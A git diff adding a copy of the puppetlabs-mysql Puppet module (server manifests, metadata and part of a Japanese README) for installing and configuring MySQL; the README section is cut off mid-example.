index 000000000..11e074880
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp
@@ -0,0 +1,89 @@
+# Class: mysql::server: See README.md for documentation.
+class mysql::server (
+ $config_file = $mysql::params::config_file,
+ $includedir = $mysql::params::includedir,
+ $install_options = undef,
+ $install_secret_file = $mysql::params::install_secret_file,
+ $manage_config_file = $mysql::params::manage_config_file,
+ $override_options = {},
+ $package_ensure = $mysql::params::server_package_ensure,
+ $package_manage = $mysql::params::server_package_manage,
+ $package_name = $mysql::params::server_package_name,
+ $purge_conf_dir = $mysql::params::purge_conf_dir,
+ $remove_default_accounts = false,
+ $restart = $mysql::params::restart,
+ $root_group = $mysql::params::root_group,
+ $mysql_group = $mysql::params::mysql_group,
+ $root_password = $mysql::params::root_password,
+ $service_enabled = $mysql::params::server_service_enabled,
+ $service_manage = $mysql::params::server_service_manage,
+ $service_name = $mysql::params::server_service_name,
+ $service_provider = $mysql::params::server_service_provider,
+ $create_root_user = $mysql::params::create_root_user,
+ $create_root_my_cnf = $mysql::params::create_root_my_cnf,
+ $users = {},
+ $grants = {},
+ $databases = {},
+
+ # Deprecated parameters
+ $enabled = undef,
+ $manage_service = undef,
+ $old_root_password = undef
+) inherits mysql::params {
+
+ # Deprecated parameters.
+ if $enabled {
+ crit('This parameter has been renamed to service_enabled.')
+ $real_service_enabled = $enabled
+ } else {
+ $real_service_enabled = $service_enabled
+ }
+ if $manage_service {
+ crit('This parameter has been renamed to service_manage.')
+ $real_service_manage = $manage_service
+ } else {
+ $real_service_manage = $service_manage
+ }
+ if $old_root_password {
+ warning(translate('The `old_root_password` attribute is no longer used and will be removed in a future release.'))
+ }
+
+ # Create a merged together set of options. Rightmost hashes win over left.
+ $options = mysql_deepmerge($mysql::params::default_options, $override_options)
+
+ Class['mysql::server::root_password'] -> Mysql::Db <| |>
+
+ include '::mysql::server::config'
+ include '::mysql::server::install'
+ include '::mysql::server::binarylog'
+ include '::mysql::server::installdb'
+ include '::mysql::server::service'
+ include '::mysql::server::root_password'
+ include '::mysql::server::providers'
+
+ if $remove_default_accounts {
+ class { '::mysql::server::account_security':
+ require => Anchor['mysql::server::end'],
+ }
+ }
+
+ anchor { 'mysql::server::start': }
+ anchor { 'mysql::server::end': }
+
+ if $restart {
+ Class['mysql::server::config']
+ ~> Class['mysql::server::service']
+ }
+
+ Anchor['mysql::server::start']
+ -> Class['mysql::server::install']
+ -> Class['mysql::server::config']
+ -> Class['mysql::server::binarylog']
+ -> Class['mysql::server::installdb']
+ -> Class['mysql::server::service']
+ -> Class['mysql::server::root_password']
+ -> Class['mysql::server::providers']
+ -> Anchor['mysql::server::end']
+
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp
new file mode 100644
index 000000000..3fcdd614c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp
@@ -0,0 +1,39 @@
+# See README.md.
+class mysql::server::account_security {
+ mysql_user {
+ [ 'root@127.0.0.1',
+ 'root@::1',
+ '@localhost',
+ '@%']:
+ ensure => 'absent',
+ require => Anchor['mysql::server::end'],
+ }
+ if ($::fqdn != 'localhost.localdomain') {
+ mysql_user {
+ [ 'root@localhost.localdomain',
+ '@localhost.localdomain']:
+ ensure => 'absent',
+ require => Anchor['mysql::server::end'],
+ }
+ }
+ if ($::fqdn and $::fqdn != 'localhost') {
+ mysql_user {
+ [ "root@${::fqdn}",
+ "@${::fqdn}"]:
+ ensure => 'absent',
+ require => Anchor['mysql::server::end'],
+ }
+ }
+ if ($::fqdn != $::hostname) {
+ if ($::hostname != 'localhost') {
+ mysql_user { ["root@${::hostname}", "@${::hostname}"]:
+ ensure => 'absent',
+ require => Anchor['mysql::server::end'],
+ }
+ }
+ }
+ mysql_database { 'test':
+ ensure => 'absent',
+ require => Anchor['mysql::server::end'],
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp
new file mode 100644
index 000000000..21102d384
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp
@@ -0,0 +1,58 @@
+# See README.me for usage.
+class mysql::server::backup (
+ $backupuser = undef,
+ $backuppassword = undef,
+ $backupdir = undef,
+ $backupdirmode = '0700',
+ $backupdirowner = 'root',
+ $backupdirgroup = 'root',
+ $backupcompress = true,
+ $backuprotate = 30,
+ $ignore_events = true,
+ $delete_before_dump = false,
+ $backupdatabases = [],
+ $file_per_database = false,
+ $include_routines = false,
+ $include_triggers = false,
+ $ensure = 'present',
+ $time = ['23', '5'],
+ $prescript = false,
+ $postscript = false,
+ $execpath = '/usr/bin:/usr/sbin:/bin:/sbin',
+ $provider = 'mysqldump',
+ $maxallowedpacket = '1M',
+ $optional_args = [],
+) {
+
+ if $prescript and $provider =~ /(mysqldump|mysqlbackup)/ {
+ warning(translate("The 'prescript' option is not currently implemented for the %{provider} backup provider.",
+ {'provider' => $provider}))
+ }
+
+ create_resources('class', {
+ "mysql::backup::${provider}" => {
+ 'backupuser' => $backupuser,
+ 'backuppassword' => $backuppassword,
+ 'backupdir' => $backupdir,
+ 'backupdirmode' => $backupdirmode,
+ 'backupdirowner' => $backupdirowner,
+ 'backupdirgroup' => $backupdirgroup,
+ 'backupcompress' => $backupcompress,
+ 'backuprotate' => $backuprotate,
+ 'ignore_events' => $ignore_events,
+ 'delete_before_dump' => $delete_before_dump,
+ 'backupdatabases' => $backupdatabases,
+ 'file_per_database' => $file_per_database,
+ 'include_routines' => $include_routines,
+ 'include_triggers' => $include_triggers,
+ 'ensure' => $ensure,
+ 'time' => $time,
+ 'prescript' => $prescript,
+ 'postscript' => $postscript,
+ 'execpath' => $execpath,
+ 'maxallowedpacket' => $maxallowedpacket,
+ 'optional_args' => $optional_args,
+ }
+ })
+
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp
new file mode 100644
index 000000000..459915d0c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp
@@ -0,0 +1,22 @@
+# Binary log configuration requires the mysql user to be present. This must be done after package install
+class mysql::server::binarylog {
+
+ $options = $mysql::server::options
+ $includedir = $mysql::server::includedir
+
+ $logbin = pick($options['mysqld']['log-bin'], $options['mysqld']['log_bin'], false)
+
+ if $logbin {
+ $logbindir = mysql_dirname($logbin)
+
+ #Stop puppet from managing directory if just a filename/prefix is specified
+ if $logbindir != '.' {
+ file { $logbindir:
+ ensure => directory,
+ mode => '0755',
+ owner => $options['mysqld']['user'],
+ group => $options['mysqld']['user'],
+ }
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp
new file mode 100644
index 000000000..de97bea5e
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp
@@ -0,0 +1,58 @@
+# See README.me for options.
+class mysql::server::config {
+
+ $options = $mysql::server::options
+ $includedir = $mysql::server::includedir
+
+ File {
+ owner => 'root',
+ group => $mysql::server::root_group,
+ mode => '0400',
+ }
+
+ if $includedir and $includedir != '' {
+ file { $includedir:
+ ensure => directory,
+ mode => '0755',
+ recurse => $mysql::server::purge_conf_dir,
+ purge => $mysql::server::purge_conf_dir,
+ }
+
+ # on some systems this is /etc/my.cnf.d, while Debian has /etc/mysql/conf.d and FreeBSD something in /usr/local. For the latter systems,
+ # managing this basedir is also required, to have it available before the package is installed.
+ $includeparentdir = mysql_dirname($includedir)
+ if $includeparentdir != '/' and $includeparentdir != '/etc' {
+ file { $includeparentdir:
+ ensure => directory,
+ mode => '0755',
+ }
+ }
+ }
+
+ if $mysql::server::manage_config_file {
+ file { 'mysql-config-file':
+ path => $mysql::server::config_file,
+ content => template('mysql/my.cnf.erb'),
+ mode => '0644',
+ selinux_ignore_defaults => true,
+ }
+
+ # on mariadb systems, $includedir is not defined, but /etc/my.cnf.d has
+ # to be managed to place the server.cnf there
+ $configparentdir = mysql_dirname($mysql::server::config_file)
+ if $configparentdir != '/' and $configparentdir != '/etc' and $configparentdir
+ != $includedir and $configparentdir != mysql_dirname($includedir) {
+ file { $configparentdir:
+ ensure => directory,
+ mode => '0755',
+ }
+ }
+ }
+
+ if $options['mysqld']['ssl-disable'] {
+ notify {'ssl-disable':
+ message =>'Disabling SSL is evil! You should never ever do this except
+ if you are forced to use a mysql version compiled without SSL support'
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql/manifests/server/install.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/install.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/install.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/install.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp
new file mode 100644
index 000000000..7e5423328
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp
@@ -0,0 +1,46 @@
+#
+class mysql::server::installdb {
+ $options = $mysql::server::options
+
+ if $mysql::server::package_manage {
+
+ # Build the initial databases.
+ $mysqluser = $mysql::server::options['mysqld']['user']
+ $datadir = $mysql::server::options['mysqld']['datadir']
+ $basedir = $mysql::server::options['mysqld']['basedir']
+ $config_file = $mysql::server::config_file
+ $log_error = $mysql::server::options['mysqld']['log-error']
+
+ if $mysql::server::manage_config_file and $config_file != $mysql::params::config_file {
+ $_config_file=$config_file
+ } else {
+ $_config_file=undef
+ }
+
+ if $options['mysqld']['log-error'] {
+ file { $options['mysqld']['log-error']:
+ ensure => present,
+ owner => $mysqluser,
+ group => $::mysql::server::mysql_group,
+ mode => 'u+rw',
+ require => Mysql_datadir[ $datadir ],
+ }
+ }
+
+ mysql_datadir { $datadir:
+ ensure => 'present',
+ datadir => $datadir,
+ basedir => $basedir,
+ user => $mysqluser,
+ log_error => $log_error,
+ defaults_extra_file => $_config_file,
+ }
+
+ if $mysql::server::restart {
+ Mysql_datadir[$datadir] {
+ notify => Class['mysql::server::service'],
+ }
+ }
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/server/monitor.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/monitor.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/monitor.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/monitor.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp
new file mode 100644
index 000000000..ae91e63ac
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp
@@ -0,0 +1,54 @@
+#
+class mysql::server::mysqltuner(
+ $ensure = 'present',
+ $version = 'v1.3.0',
+ $source = undef,
+ $environment = undef, # environment for staging::file
+) {
+
+ if $source {
+ $_version = $source
+ $_source = $source
+ } else {
+ $_version = $version
+ $_source = "https://github.com/major/MySQLTuner-perl/raw/${version}/mysqltuner.pl"
+ }
+
+ if $ensure == 'present' {
+ # $::puppetversion doesn't exist in puppet 4.x so would break strict
+ # variables
+ if ! $::settings::strict_variables {
+ $_puppetversion = $::puppetversion
+ } else {
+ # defined only works with puppet >= 3.5.0, so don't use it unless we're
+ # actually using strict variables
+ $_puppetversion = defined('$puppetversion') ? {
+ true => $::puppetversion,
+ default => undef,
+ }
+ }
+ # see https://tickets.puppetlabs.com/browse/ENTERPRISE-258
+ if $_puppetversion and $_puppetversion =~ /Puppet Enterprise/ and versioncmp($_puppetversion, '3.8.0') < 0 {
+ class { '::staging':
+ path => '/opt/mysql_staging',
+ }
+ } else {
+ class { '::staging': }
+ }
+
+ staging::file { "mysqltuner-${_version}":
+ source => $_source,
+ environment => $environment,
+ }
+ file { '/usr/local/bin/mysqltuner':
+ ensure => $ensure,
+ mode => '0550',
+ source => "${::staging::path}/mysql/mysqltuner-${_version}",
+ require => Staging::File["mysqltuner-${_version}"],
+ }
+ } else {
+ file { '/usr/local/bin/mysqltuner':
+ ensure => $ensure,
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql/manifests/server/providers.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/providers.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/providers.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/providers.pp
diff --git a/modules/services/unix/database/mysql/manifests/server/root_password.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/root_password.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/root_password.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/root_password.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp
new file mode 100644
index 000000000..3ce81d483
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp
@@ -0,0 +1,62 @@
+#
+class mysql::server::service {
+ $options = $mysql::server::options
+
+ if $mysql::server::real_service_manage {
+ if $mysql::server::real_service_enabled {
+ $service_ensure = 'running'
+ } else {
+ $service_ensure = 'stopped'
+ }
+ } else {
+ $service_ensure = undef
+ }
+
+ if $mysql::server::override_options and $mysql::server::override_options['mysqld']
+ and $mysql::server::override_options['mysqld']['user'] {
+ $mysqluser = $mysql::server::override_options['mysqld']['user']
+ } else {
+ $mysqluser = $options['mysqld']['user']
+ }
+
+ if $mysql::server::real_service_manage {
+ service { 'mysqld':
+ ensure => $service_ensure,
+ name => $mysql::server::service_name,
+ enable => $mysql::server::real_service_enabled,
+ provider => $mysql::server::service_provider,
+ }
+
+ # only establish ordering between service and package if
+ # we're managing the package.
+ if $mysql::server::package_manage {
+ Service['mysqld'] {
+ require => Package['mysql-server'],
+ }
+ }
+
+ # only establish ordering between config file and service if
+ # we're managing the config file.
+ if $mysql::server::manage_config_file {
+ File['mysql-config-file'] -> Service['mysqld']
+ }
+
+ if $mysql::server::override_options and $mysql::server::override_options['mysqld']
+ and $mysql::server::override_options['mysqld']['socket'] {
+ $mysqlsocket = $mysql::server::override_options['mysqld']['socket']
+ } else {
+ $mysqlsocket = $options['mysqld']['socket']
+ }
+
+ if $service_ensure != 'stopped' {
+ exec { 'wait_for_mysql_socket_to_open':
+ command => "test -S ${mysqlsocket}",
+ unless => "test -S ${mysqlsocket}",
+ tries => '3',
+ try_sleep => '10',
+ require => Service['mysqld'],
+ path => '/bin:/usr/bin',
+ }
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json
new file mode 100644
index 000000000..6a86aad08
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json
@@ -0,0 +1,89 @@
+{
+ "name": "puppetlabs-mysql",
+ "version": "5.3.0",
+ "author": "Puppet Labs",
+ "summary": "Installs, configures, and manages the MySQL service.",
+ "license": "Apache-2.0",
+ "source": "git://github.com/puppetlabs/puppetlabs-mysql.git",
+ "project_page": "http://github.com/puppetlabs/puppetlabs-mysql",
+ "issues_url": "https://tickets.puppetlabs.com/browse/MODULES",
+ "dependencies": [
+ {
+ "name": "puppetlabs/translate",
+ "version_requirement": ">= 1.0.0 < 2.0.0"
+ },
+ {
+ "name": "puppetlabs/stdlib",
+ "version_requirement": ">= 3.2.0 < 5.0.0"
+ },
+ {
+ "name": "puppet/staging",
+ "version_requirement": ">= 1.0.1 < 4.0.0"
+ }
+ ],
+ "operatingsystem_support": [
+ {
+ "operatingsystem": "RedHat",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "CentOS",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "OracleLinux",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "Scientific",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "SLES",
+ "operatingsystemrelease": [
+ "11 SP1",
+ "12"
+ ]
+ },
+ {
+ "operatingsystem": "Debian",
+ "operatingsystemrelease": [
+ "7",
+ "8",
+ "9"
+ ]
+ },
+ {
+ "operatingsystem": "Ubuntu",
+ "operatingsystemrelease": [
+ "14.04",
+ "16.04"
+ ]
+ }
+ ],
+ "requirements": [
+ {
+ "name": "puppet",
+ "version_requirement": ">= 4.7.0 < 6.0.0"
+ }
+ ],
+ "description": "MySQL module",
+ "template-url": "file:///opt/puppetlabs/pdk/share/cache/pdk-templates.git",
+ "template-ref": "1.3.2-0-g07678c8"
+}
diff --git a/modules/services/unix/database/mysql/mysql.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/mysql.pp
similarity index 100%
rename from modules/services/unix/database/mysql/mysql.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/mysql.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md
new file mode 100644
index 000000000..69f98c3d1
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md
@@ -0,0 +1,1329 @@
+# mysql
+
+#### 目次
+
+1. [モジュールについて - モジュールの機能とその有益性](#モジュールについて)
+2. [セットアップ - mysql導入の基本](#セットアップ)
+ * [mysqlの導入](#mysqlの導入)
+3. [使用方法 - 設定オプションとその他の機能](#使用方法)
+ * [サーバオプションのカスタマイズ](#サーバオプションのカスタマイズ)
+ * [データベースの作成](#データベースの作成)
+ * [設定のカスタマイズ](#設定のカスタマイズ)
+ * [既存のサーバに対する操作](#既存のサーバに対する操作)
+ * [パスワードの指定](#パスワードの指定)
+ * [CentOSへのPerconaサーバのインストール](#centosへのperconaサーバのインストール)
+ *[UbuntuへのMariaDBのインストール](#ubuntuへのmariadbのインストール)
+4. [参考 - モジュールの機能と動作について](#参考)
+5. [制約事項 - OSの互換性など](#制約事項)
+6. [開発 - モジュール貢献についてのガイドライン](#開発)
+
+## モジュールについて
+
+mysqlモジュールは、MySQLサービスをインストール、設定、管理します。
+
+このモジュールは、MySQLのインストールと設定を管理するとともに、データベース、ユーザ、GRANT権限などのMySQLリソースを管理できるようにPuppetの機能を拡張します。
+
+## セットアップ
+
+### mysqlの導入
+
+デフォルトのオプションを使用してサーバをインストールするには、次のコマンドを使用します。
+
+`include '::mysql::server'`.
+
+ルートパスワードや`/etc/my.cnf`の設定値などのオプションをカスタマイズするには、オーバーライドハッシュも渡す必要があります。
+
+```puppet
+class { '::mysql::server':
+ root_password => 'strongpassword',
+ remove_default_accounts => true,
+ override_options => $override_options
+}
+```
+
+$override_options用のハッシュ構造体の例については、後述の[**サーバオプションのカスタマイズ**](#サーバオプションのカスタマイズ)を参照してください。
+
+## 使用方法
+
+サーバに関するすべてのインタラクションは`mysql::server`を使用して行われ、クライアントのインストールには`mysql::client`が、バインディングのインストールには`mysql::bindings`が使用されます。
+
+### サーバオプションのカスタマイズ
+
+サーバオプションを定義するには、`mysql::server`でオーバーライドのハッシュ構造体を作成します。このハッシュは、my.cnfファイルに含まれているハッシュと似ています。
+
+```puppet
+$override_options = {
+ 'section' => {
+ 'item' => 'thing',
+ }
+}
+```
+
+この形式のオプションを従来の方法で示すと次のようになります。
+
+```
+[section]
+thing = X
+```
+
+ハッシュ内では`thing => true`、`thing => value`、または`thing => ""`の形でエントリを作成できます。または、`thing => ['value', 'value2']`の形で配列を渡したり、`thing => value`を独立した行に個別にリストすることもできます。
+
+値を設定せずに変数をハッシュに含めて渡すことができます。この場合、変数にはMySQLのデフォルトの設定値が使用されます。オプションを`my.cnf`ファイルから除外するには(たとえば`override_options`を使用してデフォルト値に戻す場合など)、`thing => undef`を渡します。
+
+オプションに複数のインスタンスが必要な場合は配列を渡します。たとえば次の例の場合は、
+
+```puppet
+$override_options = {
+ 'mysqld' => {
+ 'replicate-do-db' => ['base1', 'base2'],
+ }
+}
+```
+
+次のようになります。
+
+```puppet
+[mysqld]
+replicate-do-db = base1
+replicate-do-db = base2
+```
+
+バージョンに固有なパラメータを実装するには、[mysqld-5.5]のようにバージョンを指定します。こうすると、1つのconfigで複数の異なるバージョンのMySQLに対応できます。
+
+### データベースの作成
+
+ユーザおよび割り当てられたいくつかの権限を含むデータベースを作成するには、次のようにします。
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+}
+```
+
+エクスポートされたリソースを含む別のリソース名を使用するには、次のようにします。
+
+```puppet
+ @@mysql::db { "mydb_${fqdn}":
+ user => 'myuser',
+ password => 'mypass',
+ dbname => 'mydb',
+ host => ${fqdn},
+ grant => ['SELECT', 'UPDATE'],
+ tag => $domain,
+}
+```
+
+さらに、これをリモートDBサーバに集めることができます。
+
+```puppet
+Mysql::Db <<| tag == $domain |>>
+```
+
+データベースの作成時にファイルにsqlパラメータを設定する場合は、新しいデータベースにファイルがインポートされます。
+
+サイズの大きいsqlファイルの場合は、`import_timeout`パラメータの値(デフォルト値300秒)を大きくします。
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+ sql => '/path/to/sqlfile.gz',
+ import_cat_cmd => 'zcat',
+ import_timeout => 900,
+}
+```
+
+### 設定のカスタマイズ
+
+MySQLカスタム設定を追加するには、`includedir`にファイルを追加します。こうすると設定値をオーバーライドしたり別の設定値を追加したりすることができ、`mysql::server`で`override_options`を使用しない場合に役立ちます。`includedir`の場所は、デフォルトでは`/etc/mysql/conf.d`に設定されます。
+
+### 既存のサーバに対する操作
+
+既存のMySQLサーバ上にデータベースとユーザのインスタンスを作成するには、`root`のホームディレクトリに`.my.cnf`ファイルが必要です。次の例のように、このファイルでリモートサーバのアドレスと認証情報を指定する必要があります。
+
+```puppet
+[client]
+user=root
+host=localhost
+password=secret
+```
+
+このモジュールは、`mysqld_version`ファクトから、使用されているサーバのバージョンを認識します。デフォルトでは、`mysqld_version`は`mysqld -V`の出力に設定されています。リモートMySQLサーバに対する操作を行う場合は、`mysqld_version`に対応するカスタムファクトを設定しないと正常に動作しない可能性があります。
+
+リモートサーバに対する操作を行う際には、Puppetマニフェスト内で`mysql::server`クラスを使用*しない*でください。
+
+### パスワードの指定
+
+パスワードは、プレーンテキストとして渡せるだけでなく、次のようにハッシュとして入力することもできます。
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+}
+```
+
+### CentOSへのPerconaサーバのインストール
+
+次の例は、CentOSシステムへのPerconaサーバの最小限のインストール方法を示します。
+この例では、Perconaサーバ、クライアント、バインディング(PerlとPythonのバインディングを含む)がセットアップされます。この方法をカスタマイズして必要に応じバージョンを更新することができます。
+
+この方法は、Puppet 4.4/CentOS 7/Perconaサーバ5.7でテストされています。
+
+**注意:** yumレポジトリのインストールはこのパッケージには含まれていません。
+この例は、インストールの詳細を示したものに過ぎません。
+
+```puppet
+yumrepo { 'percona':
+ descr => 'CentOS $releasever - Percona',
+ baseurl => 'http://repo.percona.com/centos/$releasever/os/$basearch/',
+ gpgkey => 'http://www.percona.com/downloads/percona-release/RPM-GPG-KEY-percona',
+ enabled => 1,
+ gpgcheck => 1,
+}
+
+class {'mysql::server':
+ package_name => 'Percona-Server-server-57',
+ package_ensure => '5.7.11-4.1.el7',
+ service_name => 'mysql',
+ config_file => '/etc/my.cnf',
+ includedir => '/etc/my.cnf.d',
+ root_password => 'PutYourOwnPwdHere',
+ override_options => {
+ mysqld => {
+ log-error => '/var/log/mysqld.log',
+ pid-file => '/var/run/mysqld/mysqld.pid',
+ },
+ mysqld_safe => {
+ log-error => '/var/log/mysqld.log',
+ },
+ }
+}
+
+# 注意:Percona-Server-server-57をインストールするとPercona-Server-client-57もインストールされます。
+# 次の例は、Percona MySQLクライアントを単独でインストールする方法を示します。
+class {'mysql::client':
+ package_name => 'Percona-Server-client-57',
+ package_ensure => '5.7.11-4.1.el7',
+}
+
+# 通常、以下のパッケージはPercona-Server-server-57とともにインストールされます。
+# バインディングもインストールする必要がある場合は、このコードでインストールできます。
+class { 'mysql::bindings':
+ client_dev_package_name => 'Percona-Server-shared-57',
+ client_dev_package_ensure => '5.7.11-4.1.el7',
+ client_dev => true,
+ daemon_dev_package_name => 'Percona-Server-devel-57',
+ daemon_dev_package_ensure => '5.7.11-4.1.el7',
+ daemon_dev => true,
+ perl_enable => true,
+ perl_package_name => 'perl-DBD-MySQL',
+ python_enable => true,
+ python_package_name => 'MySQL-python',
+}
+
+# 依存関係の定義
+Yumrepo['percona']->
+Class['mysql::server']
+
+Yumrepo['percona']->
+Class['mysql::client']
+
+Yumrepo['percona']->
+Class['mysql::bindings']
+```
+
+### UbuntuへのMariaDBのインストール
+
+#### オプション:MariaDBの公式のレポジトリのインストール
+
+次の例では、distroレポジトリでなく公式のMariaDBレポジトリの最新の安定版(現在10.1)を使用しています。代わりに、Ubuntuレポジトリのパッケージを使用することもできます。必要に応じた正しいバージョンのレポジトリを使用してください。
+
+**注意:** `sfo1.mirrors.digitalocean.com`は利用可能な多くのミラーの一例であり、公式のミラーであればいずれも使用できます。
+
+```puppet
+include apt
+
+apt::source { 'mariadb':
+ location => 'http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.1/ubuntu',
+ release => $::lsbdistcodename,
+ repos => 'main',
+ key => {
+ id => '199369E5404BD5FC7D2FE43BCBCB082A1BB943DB',
+ server => 'hkp://keyserver.ubuntu.com:80',
+ },
+ include => {
+ src => false,
+ deb => true,
+ },
+}
+```
+
+#### MariaDBサーバのインストール
+
+次の例では、Ubuntu TrustyへのMariaDBサーバのインストール方法を示しています。`my.cnf`のバージョンとパラメータは、必要に応じて調整してください。`my.cnf`のパラメータはすべて`override_options`パラメータを使用して定義できます。
+
+フォルダ`/var/log/mysql`と`/var/run/mysqld`は自動的に作成されますが、他のカスタムフォルダを使用する場合は、それらがコードの必須要件になります。
+
+以下に示す値はすべて、最小限の構成にする場合の例です。
+
+必要なパッケージのバージョンを、`package_ensure`パラメータで指定してください。
+
+```puppet
+class {'::mysql::server':
+ package_name => 'mariadb-server',
+ package_ensure => '10.1.14+maria-1~trusty',
+ service_name => 'mysql',
+ root_password => 'AVeryStrongPasswordUShouldEncrypt!',
+ override_options => {
+ mysqld => {
+ 'log-error' => '/var/log/mysql/mariadb.log',
+ 'pid-file' => '/var/run/mysqld/mysqld.pid',
+ },
+ mysqld_safe => {
+ 'log-error' => '/var/log/mysql/mariadb.log',
+ },
+ }
+}
+
+# 依存関係の管理。レポジトリをインストールする場合は
+# この例の前のステップで示されている部分だけを使用してください。
+Apt::Source['mariadb'] ~>
+Class['apt::update'] ->
+Class['::mysql::server']
+
+```
+
+#### MariaDBクライアントのインストール
+
+次の例は、MariaDBクライアントとすべてのバインディングを一度にインストールする方法を示します。このインストール操作は、サーバのインストール操作とは別に行うことができます。
+
+必要なパッケージのバージョンを、`package_ensure`パラメータで指定してください。
+
+```puppet
+class {'::mysql::client':
+ package_name => 'mariadb-client',
+ package_ensure => '10.1.14+maria-1~trusty',
+ bindings_enable => true,
+}
+
+# 依存関係の管理。レポジトリをインストールする場合はこの例の前のステップで示されている部分だけを使用してください。
+Apt::Source['mariadb'] ~>
+Class['apt::update'] ->
+Class['::mysql::client']
+```
+
+### CentOSへのMySQL Communityサーバのインストール
+
+MySQLモジュールおよびHieraを使用して、MySQL CommunityサーバーをCentOSにインストールすることができます。この例は以下のバージョンでテスト済みです。
+
+* MySQL Community Server 5.6
+* Centos 7.3
+* Hieraを使用したPuppet 3.8.7
+* puppetlabs-mysqlモジュールv3.9.0
+
+Puppetで:
+
+```puppet
+include ::mysql::server
+
+create_resources(yumrepo, hiera('yumrepo', {}))
+
+Yumrepo['repo.mysql.com'] -> Anchor['mysql::server::start']
+Yumrepo['repo.mysql.com'] -> Package['mysql_client']
+
+create_resources(mysql::db, hiera('mysql::server::db', {}))
+```
+
+Hieraで:
+
+```yaml
+---
+
+# Centos 7.3
+yumrepo:
+ 'repo.mysql.com':
+ baseurl: "http://repo.mysql.com/yum/mysql-5.6-community/el/%{::operatingsystemmajrelease}/$basearch/"
+ descr: 'repo.mysql.com'
+ enabled: 1
+ gpgcheck: true
+ gpgkey: 'http://repo.mysql.com/RPM-GPG-KEY-mysql'
+
+mysql::client::package_name: "mysql-community-client" # 適切なMySQL導入のために必要
+mysql::server::package_name: "mysql-community-server" #適切なMySQL導入のために必要
+mysql::server::package_ensure: 'installed' #ここではバージョンを指定しないでください。残念ながら、パッケージがインストールされているエラーでyumは失敗しました。
+mysql::server::root_password: "change_me_i_am_insecure"
+mysql::server::manage_config_file: true
+mysql::server::service_name: 'mysqld' # Puppetモジュールに必要
+mysql::server::override_options:
+ 'mysqld':
+ 'bind-address': '127.0.0.1'
